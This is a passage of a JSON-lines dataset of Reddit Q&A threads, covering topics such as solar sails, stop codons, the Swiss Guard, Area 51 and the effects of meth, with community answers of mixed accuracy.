protons.\n\nNeutrons and protons are made of quarks, which are elementary particles.\n\nThe article suggests that, based on new discoveries about the Higgs field and how quarks interact with the Higgs field, in the distant future, quarks might become so unstable that they'll no longer be able to form protons. That means all protons in the universe will decay and matter will no longer be able to exist."]}, "title_urls": [], "selftext_urls": ["http://cosmiclog.nbcnews.com/_news/2013/02/18/17006552-will-our-universe-end-in-a-big-slurp-higgs-like-particle-suggests-it-might?lite", "http://www.reddit.com/r/askscience/comments/18t9vt/according_to_this_news_article_the_recent/"], "answers_urls": [[], []]}
{"q_id": "5oi3ut", "title": "when people go outside to take a breath of fresh air, why does that help calm them down?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5oi3ut/eli5_when_people_go_outside_to_take_a_breath_of/", "answers": {"a_id": ["dcjgir5", "dcjh6fs", "dcjtbjc", "dcjttpt", "dcjukj9"], "score": [26, 160, 2, 4, 2], "text": ["Deep breathing increases the supply of oxygen to your brain and stimulates the parasympathetic nervous system, which promotes a state of calmness.  \nWhen stressed, the opposite happens and we tense up clench muscles, and breathe quickly/shallow this is the FIGHT OR FLIGHT response.\n\nIntentional deep breathing, especially when we are not in immediate physical danger,  brings us back to calm.\n\nSTRESS use to be to save our lives (and for many it still does) but a LOT of 1st worlders have self induced stress that isn't actually threatening. ", "Going outside firstly removes the trigger and stimulus that's causing the stress - and so they can get out of an emotionally charged situation.  Fresh air may also be a change in temperature, so they have a different physical response too, and that may help them breathe deeper, giving the stress hormones a chance to disperse", "The vast majority of our biological history was spent roaming around outside and our bodies are more sensitive to the chemicals/particulates floating in the air than we give them credit ie. seasonal allergies, the smell of blood, + endorphin stimulators. Sitting inside rooms that are chock full of bodily aromatics probably puts us into an elevated state of stress that is easily reduced by grabbing a bit of relatively fresh outside city air.", "While we grew up frolicking through fields, swinging at the park and cruising along on our bikes, as adults, many of us spend most of our time indoors. But all of those hours spent outside were actually good for more than using up our unlimited, childhood energy. As it turns out, science shows that some fresh air really will do you good.\n\nFresh air saves lives.\n trees\nJust like you learned in elementary school, trees use photosynthesis to turn carbon dioxide into the oxygen we need to breathe. In just one year, the presence of trees saved 850 lives and prevented 670,000 cases of acute respiratory symptoms, according to new research published in the journal Environmental Pollution. Trees remove pollution from the air, making it healthier for us to take into our lungs. According to the research, the fresh air created by trees is especially beneficial to those living in urban areas, where the air is more heavily polluted.\n\nAir pollution can create some major health problems. Highly polluted air has been shown to cause a burning effect in eyes, noses and throats. Polluted air also makes it harder for those with asthma to breathe. Some toxic chemicals that can live in the air \u2014 like benzene and vinyl chloride \u2014 are highly toxic. They can even cause cancer, birth defects, long term injury to the lungs, as well as brain and nerve damage. Breathing fresh air that plants produce lowers the chances of coming into contact with these scary pollutants.\n\nIt can boost your immune system.\nIt may be time to step outside if you find yourself cooped up with tons of other people at your office, or even in your own home. Such close quarters exposes you to all sorts of germs. Plus, even a simple walk outside can raise your immune system. \u201cExercise leads to an increase in natural killer cells, neutrophils and monocytes, which ultimately increases immune function,\u201d Ather Ali, ND, MPH, assistant director of Complementary/Alternative Medicine Research at the Yale-Griffin Prevention Research Center tells _URL_0_.\n\nThe smells in fresh air bust stress and increase happiness.\n smiling forest\nScience shows that you really should stop and smell the roses, as the smell of them promotes relaxation. Other flowers, like lavender and jasmine can also lower anxiety and up your mood. Research shows that the scent of pine trees decreases stress and increases relaxation. Even walking through a park or your own backyard can help you feel calmer and happier when you catch a whiff of freshly cut grass. And while rain may put a damper on your outdoor plans, we love nothing more than the scent of a downpour, according to Smithsonian magazine. The smell reminds us of the color green and may be linked with the growth of both the plants and animals that we need to eat, which could explain why it smells so good to us.\n\nFresh oxygen energizes.\nBack away from the energy drink. Research shows that spending time in fresh air, surrounded by nature, increases energy in 90 percent of people. \u201cNature is fuel for the soul, \u201c Richard Ryan, researcher and professor of psychology at the University of Rochester, tells the University of Rochester. \u201cOften when we feel depleted we reach for a cup of coffee, but research suggests a better way to get energized is to connect with nature.\u201d\n\n", "Research suggests that nicotine may alter the brain in areas that inhibit negative emotions such as anger. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["Health.com"], []]}
{"q_id": "ckh5e7", "title": "Why are there multiple stop codons (UAA, UGA, UAG) but only one start codon (AUG)?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/ckh5e7/why_are_there_multiple_stop_codons_uaa_uga_uag/", "answers": {"a_id": ["evnm612", "evnmjvf", "evnniqm"], "score": [26, 173, 45], "text": ["A possible reason is that having a narrow range of possible \u201cstart\u201d signals means the RNA is more sensitive to errors in translation. Basically, if you do not have the right code to even START the process, then you likely have other issues in the sequence down the line. Stopping translation before it even really starts is also more favorable from a metabolic perspective for the cell.\n\nA second reason could be that RNA can get spliced and make slightly different proteins. Perhaps by having different stop codons, you are giving a wider range for the \u201cend\u201d of a protein to be signaled. This could be helpful because you COULD possibly still have a function protein.", "There's a scientific paper on it: _URL_0_\n\nIts an evolutionary advantage to reduce useless translation and save energy. Here's the short summary: \n\n\u25ba We assume that the synchronization shift of length 3 in DNA or RNA is violated. \u25ba Then the probability of reading a shifted stop codon is quite high. \u25ba Thus the synthesis of undesired proteins will soon terminate. \u25ba In this way cells save energy.", "There [actually are other start codons](_URL_0_); they're just very uncommon in eukaryotes (everything other than bacteria and archaea). They're slightly more common in RNA than DNA, and they are a lot more common in mitochondrial DNA, which makes sense because they are a lot more common in prokaryokes such as bacteria and mitochondria are probably descended captured prokaryotes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.sciencedirect.com/science/article/pii/S0022519312001580?via%3Dihub"], ["https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3105428/"]]}
{"q_id": "5r7pmp", "title": "How did the Swiss guard (who I am assuming are from Switzerland) become the guards of the Pope from Vatican City ?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5r7pmp/how_did_the_swiss_guard_who_i_am_assuming_are/", "answers": {"a_id": ["dd5bmh7", "dd5fqhm"], "score": [23, 92], "text": ["While waiting for a potential response, a quick search on Askhistorians yields a variety of results, some of which touch on your question.\n\n_URL_0_", "The concept of a national army only really emerges after the French Revolution and the constitution of the *Lev\u00e9 en Masse*. Prior to that, most professional armies recruited whomever was willing to join. Switzerland, a confederation of poor mountainous communities populated by rugged men who knew how to fight, was a prime recruiting ground for Italian and French rulers, including the Pope. \n\nThe Pope's personal guards were primarily but not exclusively Swiss until the 1920s; by then the Papal States had been annexed by Italy and the corps had ceased to serve any function at all, so they were reformed into the ceremonial guards you are familiar with today with historical arms and uniforms. The \"Noble Guards,\" the Papal States' former elite cavalry, and the \"Palatine Guards,\" the former Gendarmerie, were also reformed into ceremonial units with historic uniforms until they were disbanded in 1970. The regular Papal army, such as it was, had been disbanded after the fall of Rome at the hands of the Italian Army in 1870. \n\nSince the Lateran Treaty with the Italian Government in 1929, police duties in the Vatican City have been performed by the Vatican Gendarmerie Forces, however the Swiss Guards are all recruited from existing servicemen in the Swiss army, and perform personal protection duties with small arms in plainclothes in addition to their ceremonial role. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/askhistorians/search?q=Swiss%20guard"], []]}
{"q_id": "9ok67e", "title": "how are secret government buildings/facilities kept from beings exposed by construction workers who worked at the cites? (secret bunkers, bases, etc)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9ok67e/eli5_how_are_secret_government/", "answers": {"a_id": ["e7uoz85", "e7upirl", "e7us9oo", "e7utpo0", "e7vii1q", "e7vmizm", "e7vz7lq"], "score": [39, 19, 7, 5, 3, 2, 2], "text": ["For secret bunkers and bases and whatnot, the military builds it themselves. Generally there in an Engineer Corps division of the army that is specifically for building and infrastructure.", "for individual workers, they are cleared by background investigations, security clearance checks and sign specific non disclosure paperwork with penalty of treason and jail if you don't abide by the agreement.   \n\n & #x200B;\n\nso even the janitor that wipes up the bathroom at DoD or Area 51 has security clearance up the wazoo.", "Either they build it themselves using military or government personnel, or they have a contracted company and everyone working on it will be vetted to various levels depending on what they're working on. This vetting includes things like NDA (an agreement that says they can't say anything about what they worked on or saw) and possible criminal charges of espionage or treason if information is leaked.", "Misdirection.  They tell the workers they are building a tunnel or a sub basement.  When the workers leave, they finish the construction themselves with the engineer corps.", "Check out [the Greenbrier bunker](_URL_1_) - Congress' former secret hidey-hole in case of nuclear war.\n\nIt was exposed by [this article](_URL_0_) in WP - and decommissioning began the next day.\n\nI've toured it, it's a super interesting activity.", "A lot of it is done under the cover of some other project.\n\nContract is out for an underground water reservoir tank, or underground fuel tank. Its inside a mountain...commercial contractors come in, in the US, generally from firms that have extensive experience with government contracts like Bechtel/J.F. Shea/AECOM\n\nThey come in, do work and then leave. Then the Army Corps of Engineers or other contractors come in and finish the work out. Often it's built in modules that could go anywhere...and moved into the bunkers/faculties.", "In the United Kingdom, anyone involved in that sort of project would be required to sign an Official Secrets Act disclaimer, which would mean you could get sent to prison if you were to tell anyone any details about what you had been working on. Combined with the pre-employment vetting to ensure only trustworthy people would be employed in the first place, it makes it highly likely that people will take the secrets with the to the grave."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://www.washingtonpost.com/wp-srv/local/daily/july/25/brier1.htm?noredirect=on", "http://www.greenbrier.com/Activities/The-Bunker/Bunker-Tours"], [], []]}
{"q_id": "7mueuh", "title": "What's the difference between antibiotic, antiseptic and anti-bacteria?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7mueuh/whats_the_difference_between_antibiotic/", "answers": {"a_id": ["drwqvzg", "drx0re9"], "score": [491, 26], "text": ["'Antibiotic' refers to a class of drugs designed to kill and inhibit the growth of bacteria and/or other microorganisms within the body.\n\n'Antiseptic' refers to any substance which is administered topically on *living* tissue to do same. Its mechanism of action is generally limited to the area upon which you apply it. Think hand sanitizer or iodine.\n\n'Anti-bacteria' is anything designed to kill bacteria.", "Definitions vary according to context.  The definitions that I use are:\n\nAn 'antibiotic' is a naturally-produced compound that specifically kills microorganisms, usually bacteria.  Examples would be penicillin, tetracycline, etc.\n\nAn 'antibacterial' is a synthetic compound that specifically kills bacteria (an 'antimicrobial' would kill microorganisms).  Examples would be ciprofloxacin, sulfamethoxazole, etc.\n\nAn 'antiseptic' is a compound that kills all living cells.  Examples would be bleach (hypochlorous acid), ammonia, alcohol, etc.\n\nThat is, the specificity is important.  Antiseptics kill more than just bacteria, so they often are as useful as a medical treatment.  That is, you can take penicillin for an ear infection and it won't hurt your cells... but you can't drink a bottle of bleach for the same purpose.\n\nOther people use different definitions.  I've heard people claim that an antibiotic is specifically a medicine.  So, for example, triclosan (the most common 'antibacterial' in antibacterial soap) is not an antibiotic because it is not used as a medicine."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "nsozj", "title": "what in the world oceanmarketing is and what they did wrong.", "selftext": "I really can't seem to find out what the backstory is and whatever happened. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/nsozj/eli5_what_in_the_world_oceanmarketing_is_and_what/", "answers": {"a_id": ["c3bmmrr", "c3bo75n", "c3bpzg5", "c3bmmrr", "c3bo75n", "c3bpzg5"], "score": [7, 4, 4, 7, 4, 4], "text": ["While you should definitely read the link that ViniTheHat posted (it has all the relevant details), it's worth noting that the Ocean marketing guy is extremely self-absorbed and feels self-important to a completely irrational level.  \n\nThe big \"wtf\" is how this guy manages to operate a business at all with his poor social skills, poor PR skill, and general lack of humility.", "Some guys that fucked with the wrong motherfuckers.", "Important to keep in mind that the issue was with Ocean Marketing and not with N Control. Although they clearly made a bad decision when choosing their PR firm, their product is getting an absurd amount of bad reviews on Amazon etc. because people are angry about this.", "While you should definitely read the link that ViniTheHat posted (it has all the relevant details), it's worth noting that the Ocean marketing guy is extremely self-absorbed and feels self-important to a completely irrational level.  \n\nThe big \"wtf\" is how this guy manages to operate a business at all with his poor social skills, poor PR skill, and general lack of humility.", "Some guys that fucked with the wrong motherfuckers.", "Important to keep in mind that the issue was with Ocean Marketing and not with N Control. Although they clearly made a bad decision when choosing their PR firm, their product is getting an absurd amount of bad reviews on Amazon etc. because people are angry about this."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1hlmk5", "title": "How historically accurate is the Baroque Cycle?", "selftext": "I'm speaking specifically of [this series of books](_URL_0_) by Neal Stephenson.  I read them a few years ago, and was absolutely floored by the level of historical detail that he put into those books.  But I'm curious: how accurate are they, really?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1hlmk5/how_historically_accurate_is_the_baroque_cycle/", "answers": {"a_id": ["cavkxqy", "cavupwa"], "score": [3, 3], "text": ["Here's [an interview with Stephenson](_URL_0_) in which a few questions are asked about the research he did in writing the series. Basically, he claims he did some, such as visiting places and reading about them, \"[b]ut none of it would be recognized by a Ph.D. history student as legitimate research.\"", "Stephenson's accounts of the Royal Society meetings (a mixture of this-and-that, Hooke's experiments on dogs, etc.) are pretty spot-on, and clearly derived from close readings of [the actual notes taken at the meetings](_URL_1_). It is clear from many of his historical elements that he has borrowed liberally, and altered liberally, actual historical events. [There really was a coiner that Newton battled wits with](_URL_0_), for example, but it is clear that Stephenson took a few of the bare facts of that and ran with them, as opposed to following the actual history slavishly. \n\nI saw Stephenson give a talk on some of this work at a small colloquium at Harvard about a decade ago (it was before I had read anything by him, for shame), and I thought he did a pretty good job even though some of the historians of science in the crowd took pleasure in arguing that he had everything wrong because he was still framing things in terms of science and proto-science, or something like that (I found, and still find, their particular arguments to be pedantic posturing). \n\nI think the Baroque Cycle is a pretty wonderful bit of \"historical fiction,\" emphasis on the fiction. He gives you a great feel for the period, for the places, for the people. (His Newton, Hooke, and Leibniz are still _my_ Newton, Hooke, and Leibniz.) It is obviously imaginative work, of course, and I don't think anybody who read it would be fooled into thinking he was trying to do otherwise. But in bringing alive a distant period, and making it seem relevant, and making clear the interconnections between nascent science, economics, and politics in the period, I think he's done a job that a lot of historians would be envious of, even if it required some re-working of the past in order to do it. But it's obviously a work of fiction, so I don't fault him on that!\n\nWhat bad historical fiction does is transport modern characters, concerns, and values into past times when they would have been quite anomalous. It makes it infuriating to read or watch when you know a bit about the times. I could never get into _Mad Men_, for example, as a scholar of the Cold War, because I felt like the show was constantly winking at the present. (\"Say, what about the Jack Kennedy kid? I bet he'll go far!\" \"Hey, can you get me another martini while I'm pregnant, because I'm sure it does no harm!\" \"Ha! Someday they'll be trying to say even _smoking_ is bad for you!\") Good historical fiction finds a way to explain to you, reader of the present, the concerns, values, and characters of the past, on their own terms. Bad historical fiction is just a bunch of modern people in fancy dress making cracks about the \"signs of the times.\" Good historical fiction weaves the context into the fiction inextricably \u2014 it is the water in which the fish swim.\n\nStephenson does a really good job of this. I mean, who else can make the crappiness of the 17th-century English coinage a major plot device? Because that _was_ the sort of thing that an average person at that time period would have to deal with whenever they wanted to buy something, even if it is quite alien to us today. Those are the sorts of touches I really appreciate about his work. "]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/The_Baroque_Cycle"], "answers_urls": [["http://www.nealstephenson.com/quicksilver/int.htm"], ["http://www.amazon.com/gp/product/B004KAB4DS/ref=as_li_qf_sp_asin_il_tl?ie=UTF8&amp;camp=1789&amp;creative=9325&amp;creativeASIN=B004KAB4DS&amp;linkCode=as2&amp;tag=0000123-20", "http://books.google.com/books?id=e2EVAAAAQAAJ&amp;pg=PA313#v=onepage&amp;q&amp;f=false"]]}
{"q_id": "cd01wv", "title": "if, hypothetically, all 500,000 people were to show up at area 51 what would the military most likely do?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cd01wv/eli5_if_hypothetically_all_500000_people_were_to/", "answers": {"a_id": ["etqjtzp", "etqjxf9", "etqkp25"], "score": [13, 9, 5], "text": ["How are 500,000 people even going to get to Area 51?  The world's biggest traffic jam?  Drive up to the gate one at a time?  Park miles away and walk through the desert?\n\nWhere do they sleep?  What do they eat?  There's only 3 million people in Nevada, 500,000 more showing up all at once isn't a movement it is a disaster.\n\nA group of random strangers that large would never even all make it to the perimeter, much less go through it.", "Block access on all routes in preemptively. Create no go zones with martial law. Deploy non lethal crowd control. Order everyone to disperse or face federal charges. Evacuate any sensitive materials, facial recognition on crowds, tear gas, water cannons, rubber bullets, deployable barriers (portable walls) drones. When it\u2019s over, prosecute trespassing etc as a group, with a couple of cases as few high profile organizer cases to send a message.", "These people aren\u2019t soldiers. All the military has to do is explode a few eardrums with their sound cannons, drop some flash grenades with their vehicle mounted launch systems, or simply fire some blanks out of machine guns in the distance and everyone will run away. Maybe they drop a few bombs that make a big puff of smoke a mile ahead of them. Maybe the military will get to try out their new rifle mounted non-lethal laser guns to blind people. They\u2019re not the police lmao. The military has some serious non-lethal crowd control tech. Pepper spray? No try machine guns that fire pepper bullets. And seriously fucking [lasers](_URL_0_) dude! 25km away your ass is temporarily blinded.\n\nNo one is getting close to a top secret military base like that.\n\nWorse case scenario, everyone is dumb enough to rush the base and they block the roads. People wander into the highly probably minefields after many warnings and explode. The public just thinks they\u2019re idiots for running into the mines after being warned."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://jnlwp.defense.gov/Press-Room/In-The-News/Article/1381985/marines-to-get-star-trek-phaser-like-device-for-nonlethal-weapon-option/"]]}
{"q_id": "xvc6o", "title": "Whether man-made, natural or extra-terrestrial in source, what was the largest energetic event Earth has ever witnessed in joules?", "selftext": "8+ VEI Super Volcanoes, 9.0+ Earthquakes, Nuclear Weapons, Meteor Impacts, etc. -- what event holds the record for the most joules of energy output on Earth?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/xvc6o/whether_manmade_natural_or_extraterrestrial_in/", "answers": {"a_id": ["c5pw4f5", "c5pw4j1", "c5pwpwu", "c5pxmux", "c5pxwuh", "c5q3r6h", "c5q4w13"], "score": [34, 3, 5, 4, 8, 2, 2], "text": ["If you don't count the formation of the planet itself, then probably the [impact that created the Moon](_URL_0_).  If I'm plugging in the numbers correctly, the energy comes out to around 4*10^31 J.", "According to the [Giant Impact hypothesis](_URL_0_), the Moon was created when a planetoid collided with the early Earth. I doubt anything comes close to that.", "Energetic, or powerful? Energy is measured in Joules, Power is measured in Joules per second, or Watts. \n\nIf you're talking energetic, the Sun has output ~6E43J in the 5 billion years since it started fusing.", "Large asteroid impacts usually have more energy than most volcanoes, but these are extremely rare and smaller metheorites that barely even reach the ground are slightly  more common.\n\nThe largest nuclear weapons are dwarfed even by a smaller volcanic erruption. And volcanos are pretty normal on earth.\n\nNuclear esplosions become unpractical for warfare beyond a point were most of the energy just goes up and not sideways.\n\nIf we would have decided to use nuclear explosions for mining operations and use fusion bombs for it by now, these would barely have a limit energy wise, but they would also spread radioactive dust all over the place resulting in a few years without summer and only half as much sunlight, causing starvation worldwide for a hole in the ground. That why we do not do it. If you think that the idea is insane, have a reminder that human insanity knows no limits: _URL_1_\n\n\nhave a _URL_0_\n\nand play with _URL_2_", "depends what you mean by \"witnessed\". the light from distant super-nova explosions can be witnessed from earth with a powerful enough telescope. those are certainly far more energetic than nearly everything else in the galaxy. ", "How about the ignition of the sun?  It is an event which continues to this day, and should continue for quite a while longer.  [Approx 174 petawatts](_URL_0_) times 4.5 billion years, yields 2.5*10^31 J.", "It could be argued that the most energetic effect is still ongoing.  Technically, the sun has been depositing (approximately) 1.74831e11 watts onto Earth for the last 4.54 billion years, or approximately 800,000,000,000,000,000,000 joules so far."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Giant_impact_hypothesis"], ["http://en.wikipedia.org/wiki/Giant_impact_hypothesis"], [], ["http://en.wikipedia.org/wiki/List_of_impact_craters_on_Earth", "http://www.ted.com/talks/george_dyson_on_project_orion.html", "http://www.carloslabs.com/projects/200712B/GroundZero.html"], [], ["http://en.wikipedia.org/wiki/File:Breakdown_of_the_incoming_solar_energy.svg"], []]}
{"q_id": "c16a2n", "title": "why do some companies create multiple apps for the products they offer instead of using one app? uber and uber eats, google home and google assistant are two examples.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c16a2n/eli5_why_do_some_companies_create_multiple_apps/", "answers": {"a_id": ["erb5lfz"], "score": [5], "text": ["Marketing.  You get more people to use your app/product if you have different versions targeted to specific groups.  It's why there a separate varieties of cold medicine in spite of all of them having identical ingredients.  If presents with a choice between something generic and something that seems tailored to their specific needs, people will choose the specific one most of the time, even if there's no actual difference."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5r2r2b", "title": "Why are solar sails reflective, not black?", "selftext": "My limited understanding of solar sails leads me to believe the goal is to absorb the small amount of energy in a photon. Isn't more energy absorbed by a dark surface?\n\nThis is the only information I have found on this _URL_0_.\n\nThe scientist credited above, died about a year later. I didn't find any follow up. \n\nThis is my first reddit post, sorry if my format is wrong.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5r2r2b/why_are_solar_sails_reflective_not_black/", "answers": {"a_id": ["dd3y4h5", "dd3z8u4", "dd4555j", "dd46haj", "dd4c1ta", "dd4cc5b", "dd4grpf", "dd4i41b", "dd4ikk2", "dd4j4nv", "dd4m63b", "dd4my1d", "dd4rcfa", "dd4rpdn", "dd4uboe", "dd4upoc", "dd4xxo6", "dd50d0w", "dd51b6a"], "score": [2853, 250, 136, 3, 8, 12, 9, 2, 3, 6, 3, 2, 3, 2, 4, 2, 6, 2, 5], "text": ["It's a matter of how much momentum you transfer. For photons with momentum p0, you transfer a unit p0 of momentum to a sail that absorbs that photon. But if you use a reflective sail, the conservation of momentum requires that the sail is is pushed back by 2p0. Since the force the sail gets can be written as F = dp/dt, you get more propulsion when the sail reflects the light rather than absorbing it.", "The solar sail is not absorbing the light energy of the photon, but rather the momentum.\n\nWhen two objects collide (sail and photon) more energy is transferred if they bounce apart rather than sticking together.  You can think of it in two steps: lets say you jump off of a table and then jump.  In the first part, you transfer energy into the floor by your impact; and in the second part you transfer more energy into the floor when you push off to jump.", "Imagine you were in space, and you are getting tons of little tennis balls thrown at you. You want to use these to move around. What would be better, grabbing as many of these as you can, so they push you around, or grabbing as many of these as you can and then throwing them back in the direction they came from?", "Some links to other answers:\n\n[How Do Solar Sails Work?](_URL_1_)    \n[Conservation of Momentum](_URL_2_)    \n[Energy  &  Momentum of a Photon: Equation  &  Calculations](_URL_0_)    \n", "Think about throwing a tennis ball at a basketball versus throwing tennis ball at a cushion. A cushion will deform more, convert more kinetic energy into heat and therefore bounce less. \nCorrect me if I'm wrong. ", "You're absorbing their kinetic energy. Which is best absorbed by reflecting them.\n\nLike a sailing boat, the clothe reflects/re-directs the wind to get the energy from it.\nabsorbing the energy would be like a sailing boat with a windmill", " >  the goal is to absorb the small amount of energy in a photon.\n\nThis is the goal of solar panels. They absorb the photons' energy, and put it into the wires. \n\nFor solar sails, we are concerned with momentum, not energy. Photons have momentum, btw. No mass, just momentum. \n\nThe amount of momentum transfered to a sail (if it absorbs all of the photons) is the energy in the light divided by the speed of light. If you get the photons to reflect completely, you then get to double that. \n\nSo that's the answer- making them reflective is nearly twice as efficient. ", "Because you get double the impulse from reflecting than from absorbing.\n\nJust look at a two cart system, where one cart has no mass.\nIt should be clear that the system that has elastic collisions give more momentum go the hit car than the inelastic system.", "To propel the sail, you want the maximum momentum change imparted by a photon of light. If the photon is reflected, this is twice as much as if it's absorbed because the direction of the photon is reversed instead of just halted.", "Double the momentum! \n\nImagine a photon as a bullet. A bullet hitting a bullet proof vest (effectively \"absorbing\" it) will knock you back, transferring momentum to you. Similarly, firing a bullet from a gun will transfer momentum to you in the form of the gun's recoil. A black solar sail only absorbs these photon-bullets, while a reflective solar sail will absorb them and then shoot them back out in the opposite direction (AKA, reflect them). The photon-bullet's speed can be thought of as going from the speed of light, c, to 0 for the black sail, and c to -c for the reflective sail. Despite the fact that photons don't have mass (so you can't use the classical p=mv equation), they do have momentum which acts just like you'd think it would for any other particle. You can intuitively sense how doubling the change in speed (c for black, and 2c for reflective) will double the momentum transferred to the solar sail.\n", "If a solar sail was black, it would absorb more light energy, but it wouldn't reflect any. The momentum gained from a solar sail is the photons hitting the sail, and bouncing back out, producing a little bit of force.", "If you absorb them, the energy in the photon that is not momentum will be converted to heat, and eventually radiated out as Infrared photons in a *random* direction, including directions that might slow you down.\n\nIf you reflected the photon, you get knocked back by the impact, and pushed a little bit more by the bounce. You take in less total energy, but you get almost double the momentum you would from absorbing the photon, and don't heat up. ", "Reflection provides two units of forward momentum while absorption only provides one. Think about it, if you instead of the photon were hurdling towards an object in space and went splat on the solar sail, the impact would push the solar sail with the momentum you previously had. Now let's say after you go splat on the solar sail you turn around and push off the sail in the direction you came from so you end up going in the opposite direction but again with the same momentum. The sail would be pushed again in the right direction! And therefore it would have twice as much momentum as if you only went splat on the sail (neglecting the total change in mass because photons are massless)", "imagine a boat sail vs a balloon where the reflective surface is the sail and a black surface is the balloon. air coming behind you is supposed to hit the sail and move outward such that most of the wind pushes the sail. if wind hit the opening of a balloon the balloon would grow but not necessarily move with the wind. ", "Black material absorbs, reflective material reflects. Thrust requires material to be \"thrown out\" behind your object to move it in the opposite direction. You want to maximize that ejected material (in this case photons) to produce the most thrust possible. It's simply the most efficient design.", "When two particles collide (ignoring infinitesimals from special relativity) the collision can be either elastic or inelastic. In an elastic collision no mas is shared and both particles obey Newtonian physics with equal but opposite reactions. For this causes propulsion without gaining mass. In terms of energy the acceleration of a particle requires energy in proportion to is mass to increase the acceleration. Add more mass and you'll need more energy. This is one reason for a reflective surface. However it is also noted that a photon is massless. Your generalization would make sense if the sails we photovoltaic cells in which converts photons to electrons in order to be used in a propulsion system. The idea is to obey conservation of momentum by bombardment of massless particles to increase the acceleration of the sail with lowering the mass as much as possible. There is allot more detail and math that is really cool but this is a very general gist.", "Imagine that photons are tennis balls being thrown at a car to make it move. If a guy in the car catches all the tennis balls, then each ball will move the car a bit. However, if that guy then also throws back the tennis balls at the same speed each ball will make the car move twice as much, once when it's caught, again when it's thrown back. The same happens if the balls bounce off the car, or in our case if photons bounce off the sail.", "The reflectivity will give more elastic collision and transfer of momentum. Colour is visible range is a bad indicator of properties of a material. Basic photometric law is like:\n\nDegrees of absorption, reflection and transmission add up to unity. \n\nA good reflectivity will reduce absorption and transmission into the material which might cause change in the material over time. The idea is to transfer the kinetic energy.\n\nImagine a marble sphere colliding with a stationary marble sphere in space like in pool table. If it was perfectly elastic, the incoming marble would transfer the momentum to the stationary one. See _URL_0_\n\nCollisions in atomic level are almost perfectly elastic. That is what it is tried to achieve in a solar sail, capture all momentum.", "it's not about absorbing, but reflecting, you don't gain momentum of the given medium pushed against you if you absorb, for example if you're building a watermill, the cloth (absorbing) isn't the best building material for paddles in contrast to wood (fairly less absorbing), also absorbing light gets you hot"]}, "title_urls": [], "selftext_urls": ["https://www.google.com/amp/s/www.newscientist.com/article/dn3895-solar-sailing-breaks-laws-of-physics/amp/?client=ms-android-verizon"], "answers_urls": [[], [], [], ["http://study.com/academy/lesson/energy-momentum-of-a-photon-equation-calculations.html", "http://www.livescience.com/32593-how-do-solar-sails-work-.html", "http://www.sciencelearningspace.com/grade-levels/advanced-projects-2/advanced-physics/conservation-of-momentum/"], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://hyperphysics.phy-astr.gsu.edu/hbase/colsta.html#c1"], []]}
{"q_id": "cok4gb", "title": "meth. why is it so horrible and what does it do to people?", "selftext": "I have no experience with meth but I see it referenced often. Shows I watch portray meth in vastly different ways. \n\nWhat's the true nature of meth ?\n\nI'm never going to try it, just curious.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cok4gb/eli5_meth_why_is_it_so_horrible_and_what_does_it/", "answers": {"a_id": ["ewirrpw", "ewirso5", "ewisfd4", "ewizc9d", "ewj230o", "ewl5xha"], "score": [3, 16, 42, 14, 8, 2], "text": ["People quit their job and hygiene routine. That's the worst part, that's what most people think about when they hear meth. If you don't then it's basically just bad for your heart/health, like smoking or being overweight.", "Methamphetamine increases the release of dopamine into the brain. Dopamine is a feel-good chemical. Low doses of meth make you feel good, give you an energy boost, and increase sexual desire. But, it's highly addictive, and high doses or chronic low doses do severe long-term damage to the brain, heart, and other organs.", "It's so horrible because suddenly nothing else is of value anymore. You choose it over everything. It's always on your mind. \n\nIt does a variety of things to people. Being a stimulant it keep a you awake and suppresses appetite for around 24hrs. People often binge it so that this happens for days on end. They hallucinate and become paranoid, anxious because of sleep deprivation. They become incredibly thin and frail. Your cardiovascular system is under stress for a very long time, you overheat, you dehydrate, you forget general hygiene, your mouth begins to go red and sore. \n\nPsychologically, it plays on your reward system, dopamine. This is where the addiction sets, as dopamine is released when we do basic survival stuff, eating, sex, etc. Soon enough the brain associates meth with this same survival reflex.", "CG Kid is a former meth addict, and he has done a bunch of videos on the effects of drug use.\n\n[This video contains his own experiences](_URL_0_), and they are absolutely horrifying. It is one of the scariest videos I've ever seen.", "For starters, you can't just go buy most the ingredients, so they have to find the chemicals where they can, like batteries and drain cleaners. Then, it's often \"home made\", so there's plenty of that stuff left in it, even after they \"cook\" it.\n\nBut even when you have \"clean\" stuff, it's still super bad. In the moment, it feels really good, and like a million cups of coffee, and it suppresses your appetite.  It can literally keep you awake for days, if you keep doing it. But, staying awake for days at a time makes you crazy.  And, on top of that, the dopamine overload is so so strong that it damages your receptors, so that it takes more and more dopamine to feel any pleasure.\n\nSo, the scenario alot 